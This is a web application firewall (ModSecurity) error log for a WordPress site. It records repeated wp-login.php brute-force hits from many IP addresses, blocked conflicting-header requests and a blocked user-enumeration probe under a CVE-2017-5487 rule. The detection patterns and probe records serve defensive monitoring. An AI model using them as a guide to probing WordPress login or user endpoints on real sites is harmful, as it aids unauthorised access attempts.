[Mon May 25 23:22:39.437476 2026] [:error] [pid 62428:tid 62494] [client 144.76.198.88:49116] [client 144.76.198.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.76.198.88, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRpP5NosGBa7mui3VR9rwAAAIo"], referer: https://gigfragments.org/wp-login.php
[Mon May 25 23:30:20.588852 2026] [:error] [pid 62426:tid 62441] [client 135.181.62.37:48828] [client 135.181.62.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.181.62.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRrDEj3D3Mo8ANpTRA85wAAAAs"]
[Mon May 25 23:30:22.297150 2026] [:error] [pid 62426:tid 62451] [client 135.181.62.37:48828] [client 135.181.62.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.181.62.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRrDkj3D3Mo8ANpTRA86wAAABU"], referer: https://gigfragments.org/wp-login.php
[Mon May 25 23:36:33.153019 2026] [:error] [pid 3698:tid 3724] [client 51.38.192.10:40200] [client 51.38.192.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.38.192.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRsgQtZBEwA4fyFLKMOSwAAARg"]
[Mon May 25 23:36:34.754300 2026] [:error] [pid 3698:tid 3715] [client 51.38.192.10:40200] [client 51.38.192.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.38.192.10, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRsggtZBEwA4fyFLKMOTAAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Mon May 25 23:42:38.229806 2026] [:error] [pid 62428:tid 62489] [client 123.207.65.62:44106] [client 123.207.65.62] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahRt7pNosGBa7mui3VSDCgAAAIU"]
[Mon May 25 23:43:33.804572 2026] [:error] [pid 62515:tid 62528] [client 149.102.129.214:37112] [client 149.102.129.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.129.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRuJRig0_XsOwmnrv9zhwAAAMs"]
[Mon May 25 23:43:35.346359 2026] [:error] [pid 62515:tid 62538] [client 149.102.129.214:37112] [client 149.102.129.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.129.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRuJxig0_XsOwmnrv9ziQAAANU"], referer: https://gigfragments.org/wp-login.php
[Mon May 25 23:47:18.168924 2026] [:error] [pid 53791:tid 53815] [client 170.249.217.154:38892] [client 170.249.217.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.249.217.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRvBiCRhhNTD40Nf1U_XgAAAZY"]
[Mon May 25 23:47:19.797962 2026] [:error] [pid 53791:tid 53816] [client 170.249.217.154:38892] [client 170.249.217.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.249.217.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRvByCRhhNTD40Nf1U_XwAAAZc"], referer: https://gigfragments.org/wp-login.php
[Mon May 25 23:54:10.699848 2026] [:error] [pid 62427:tid 62477] [client 154.38.181.91:53010] [client 154.38.181.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.181.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRwovMUa83fc4GDyByVsgAAAVQ"]
[Mon May 25 23:54:12.234450 2026] [:error] [pid 62427:tid 62465] [client 154.38.181.91:53010] [client 154.38.181.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.181.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRwpPMUa83fc4GDyByVswAAAUg"], referer: https://gigfragments.org/wp-login.php
[Mon May 25 23:59:17.697340 2026] [:error] [pid 62428:tid 62497] [client 49.51.245.241:55682] [client 49.51.245.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahRx1ZNosGBa7mui3VSHBAAAAI0"]
[Tue May 26 00:05:10.862215 2026] [:error] [pid 3698:tid 3722] [client 135.181.183.122:41988] [client 135.181.183.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.181.183.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRzNgtZBEwA4fyFLKMTBwAAARY"]
[Tue May 26 00:05:12.541636 2026] [:error] [pid 3698:tid 3704] [client 135.181.183.122:41988] [client 135.181.183.122] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 135.181.183.122, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahRzOAtZBEwA4fyFLKMTCgAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 00:13:47.100659 2026] [:error] [pid 62722:tid 62732] [client 154.38.181.91:54404] [client 154.38.181.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.181.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR1O6M6ssnLWYf6CVBoBgAAAEg"]
[Tue May 26 00:13:48.697852 2026] [:error] [pid 62722:tid 62733] [client 154.38.181.91:54404] [client 154.38.181.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.181.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR1PKM6ssnLWYf6CVBoBwAAAEk"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 00:20:30.145608 2026] [:error] [pid 62426:tid 62450] [client 95.216.112.243:54928] [client 95.216.112.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.216.112.243, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR2zkj3D3Mo8ANpTRBPGQAAABQ"]
[Tue May 26 00:20:31.981728 2026] [:error] [pid 62426:tid 62444] [client 95.216.112.243:54928] [client 95.216.112.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.216.112.243, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR2z0j3D3Mo8ANpTRBPHQAAAA4"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 00:24:59.706739 2026] [:error] [pid 3698:tid 3711] [client 3.130.23.42:51544] [client 3.130.23.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.130.23.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR32wtZBEwA4fyFLKMV2QAAAQs"]
[Tue May 26 00:25:01.330934 2026] [:error] [pid 3698:tid 3709] [client 3.130.23.42:51544] [client 3.130.23.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.130.23.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR33QtZBEwA4fyFLKMV2wAAAQk"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 00:29:57.246951 2026] [:error] [pid 62515:tid 62538] [client 139.84.229.194:54416] [client 139.84.229.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.84.229.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR5BRig0_XsOwmnrv-BLAAAANU"]
[Tue May 26 00:30:00.980914 2026] [:error] [pid 62515:tid 62532] [client 139.84.229.194:54416] [client 139.84.229.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.84.229.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR5CBig0_XsOwmnrv-BMwAAAM8"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 00:38:22.386082 2026] [:error] [pid 3698:tid 3706] [client 128.0.36.74:48748] [client 128.0.36.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.0.36.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR6_gtZBEwA4fyFLKMXggAAAQY"]
[Tue May 26 00:38:24.048319 2026] [:error] [pid 3698:tid 3715] [client 128.0.36.74:48748] [client 128.0.36.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.0.36.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR7AAtZBEwA4fyFLKMXgwAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 00:47:46.932102 2026] [:error] [pid 62428:tid 62496] [client 128.0.36.74:51624] [client 128.0.36.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.0.36.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR9MpNosGBa7mui3VSRMgAAAIw"]
[Tue May 26 00:47:48.660649 2026] [:error] [pid 62428:tid 62505] [client 128.0.36.74:51624] [client 128.0.36.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 128.0.36.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR9NJNosGBa7mui3VSRMwAAAJU"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 00:47:59.742537 2026] [:error] [pid 62515:tid 62525] [client 198.38.81.14:35058] [client 198.38.81.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.38.81.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR9Pxig0_XsOwmnrv-GtAAAAMg"]
[Tue May 26 00:48:01.038596 2026] [:error] [pid 62515:tid 62530] [client 198.38.81.14:35058] [client 198.38.81.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.38.81.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahR9QRig0_XsOwmnrv-GuAAAAM0"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 00:53:21.767555 2026] [:error] [pid 53791:tid 53806] [client 43.166.255.122:46344] [client 43.166.255.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahR-gSCRhhNTD40Nf1VLyQAAAY0"]
[Tue May 26 01:05:32.248640 2026] [:error] [pid 62515:tid 62519] [client 3.0.55.197:55022] [client 3.0.55.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.0.55.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSBXBig0_XsOwmnrv-LRQAAAMI"]
[Tue May 26 01:05:33.740595 2026] [:error] [pid 62515:tid 62541] [client 3.0.55.197:55022] [client 3.0.55.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.0.55.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSBXRig0_XsOwmnrv-LSgAAANg"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 01:12:08.594822 2026] [:error] [pid 62428:tid 62499] [client 144.76.198.88:53996] [client 144.76.198.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.76.198.88, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSC6JNosGBa7mui3VSV9AAAAI8"]
[Tue May 26 01:12:10.227872 2026] [:error] [pid 62428:tid 62508] [client 144.76.198.88:53996] [client 144.76.198.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.76.198.88, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSC6pNosGBa7mui3VSV9QAAAJg"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 01:13:39.461033 2026] [:error] [pid 3698:tid 3714] [client 34.100.157.153:2560] [client 34.100.157.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.100.157.153, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSDQwtZBEwA4fyFLKMcRAAAAQ4"]
[Tue May 26 01:13:41.060875 2026] [:error] [pid 3698:tid 3716] [client 34.100.157.153:2560] [client 34.100.157.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.100.157.153, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSDRQtZBEwA4fyFLKMcRgAAARA"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 01:15:16.495798 2026] [:error] [pid 62515:tid 62522] [client 160.242.199.210:35748] [client 160.242.199.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.242.199.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSDpBig0_XsOwmnrv-M3wAAAMU"]
[Tue May 26 01:15:18.021538 2026] [:error] [pid 62515:tid 62528] [client 160.242.199.210:35748] [client 160.242.199.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 160.242.199.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSDphig0_XsOwmnrv-M4gAAAMs"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 01:20:02.548637 2026] [:error] [pid 62722:tid 62745] [client 18.192.171.218:43198] [client 18.192.171.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.192.171.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSEwqM6ssnLWYf6CVBvsAAAAFU"]
[Tue May 26 01:20:04.316324 2026] [:error] [pid 62722:tid 62728] [client 18.192.171.218:43198] [client 18.192.171.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.192.171.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSExKM6ssnLWYf6CVBvsQAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 01:24:21.372051 2026] [:error] [pid 53791:tid 53801] [client 45.250.255.226:32888] [client 45.250.255.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.250.255.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSFxSCRhhNTD40Nf1VQGgAAAYg"]
[Tue May 26 01:24:22.932396 2026] [:error] [pid 53791:tid 53795] [client 45.250.255.226:32888] [client 45.250.255.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.250.255.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSFxiCRhhNTD40Nf1VQHQAAAYI"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 01:31:13.487313 2026] [:error] [pid 62428:tid 62493] [client 45.130.18.144:41204] [client 45.130.18.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.18.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSHYZNosGBa7mui3VSYkgAAAIk"]
[Tue May 26 01:31:15.494645 2026] [:error] [pid 62428:tid 62502] [client 45.130.18.144:41204] [client 45.130.18.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.18.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSHY5NosGBa7mui3VSYlAAAAJI"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 01:37:17.760250 2026] [:error] [pid 53791:tid 53817] [client 35.229.206.236:40950] [client 35.229.206.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.229.206.236, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSIzSCRhhNTD40Nf1VR2AAAAZg"]
[Tue May 26 01:37:19.573132 2026] [:error] [pid 53791:tid 53812] [client 35.229.206.236:40950] [client 35.229.206.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.229.206.236, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSIzyCRhhNTD40Nf1VR2QAAAZM"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 02:20:01.012114 2026] [:error] [pid 62428:tid 62501] [client 173.212.241.65:58666] [client 173.212.241.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.212.241.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSS0ZNosGBa7mui3VSf4QAAAJE"]
[Tue May 26 02:20:04.512791 2026] [:error] [pid 62428:tid 62497] [client 173.212.241.65:58666] [client 173.212.241.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.212.241.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSS1JNosGBa7mui3VSf7wAAAI0"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 02:26:43.319471 2026] [:error] [pid 62515:tid 62537] [client 206.189.52.208:46986] [client 206.189.52.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.52.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSUYxig0_XsOwmnrv-YQgAAANQ"]
[Tue May 26 02:27:05.517996 2026] [:error] [pid 62722:tid 62739] [client 206.189.52.208:52882] [client 206.189.52.208] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/me"] [unique_id "ahSUeaM6ssnLWYf6CVB1jAAAAE8"]
[Tue May 26 02:30:06.453671 2026] [:error] [pid 62515:tid 62531] [client 52.209.185.112:53588] [client 52.209.185.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.209.185.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSVLhig0_XsOwmnrv-Y_wAAAM4"]
[Tue May 26 02:30:08.055179 2026] [:error] [pid 62515:tid 62523] [client 52.209.185.112:53588] [client 52.209.185.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.209.185.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSVMBig0_XsOwmnrv-ZAQAAAMY"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 02:32:29.340499 2026] [:error] [pid 62515:tid 62527] [client 20.219.17.202:33080] [client 20.219.17.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.219.17.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSVvRig0_XsOwmnrv-ZoQAAAMo"]
[Tue May 26 02:32:30.839330 2026] [:error] [pid 62515:tid 62530] [client 20.219.17.202:33080] [client 20.219.17.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.219.17.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSVvhig0_XsOwmnrv-ZpgAAAM0"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 03:18:50.105752 2026] [:error] [pid 18119:tid 18129] [client 137.184.90.64:43970] [client 137.184.90.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.90.64, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSgmq2OWf1JhYMmNHZIEAAAAMc"]
[Tue May 26 03:18:52.203444 2026] [:error] [pid 18119:tid 18146] [client 137.184.90.64:43970] [client 137.184.90.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.90.64, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahSgnK2OWf1JhYMmNHZIGAAAANg"], referer: https://gigfragments.org/wp-login.php
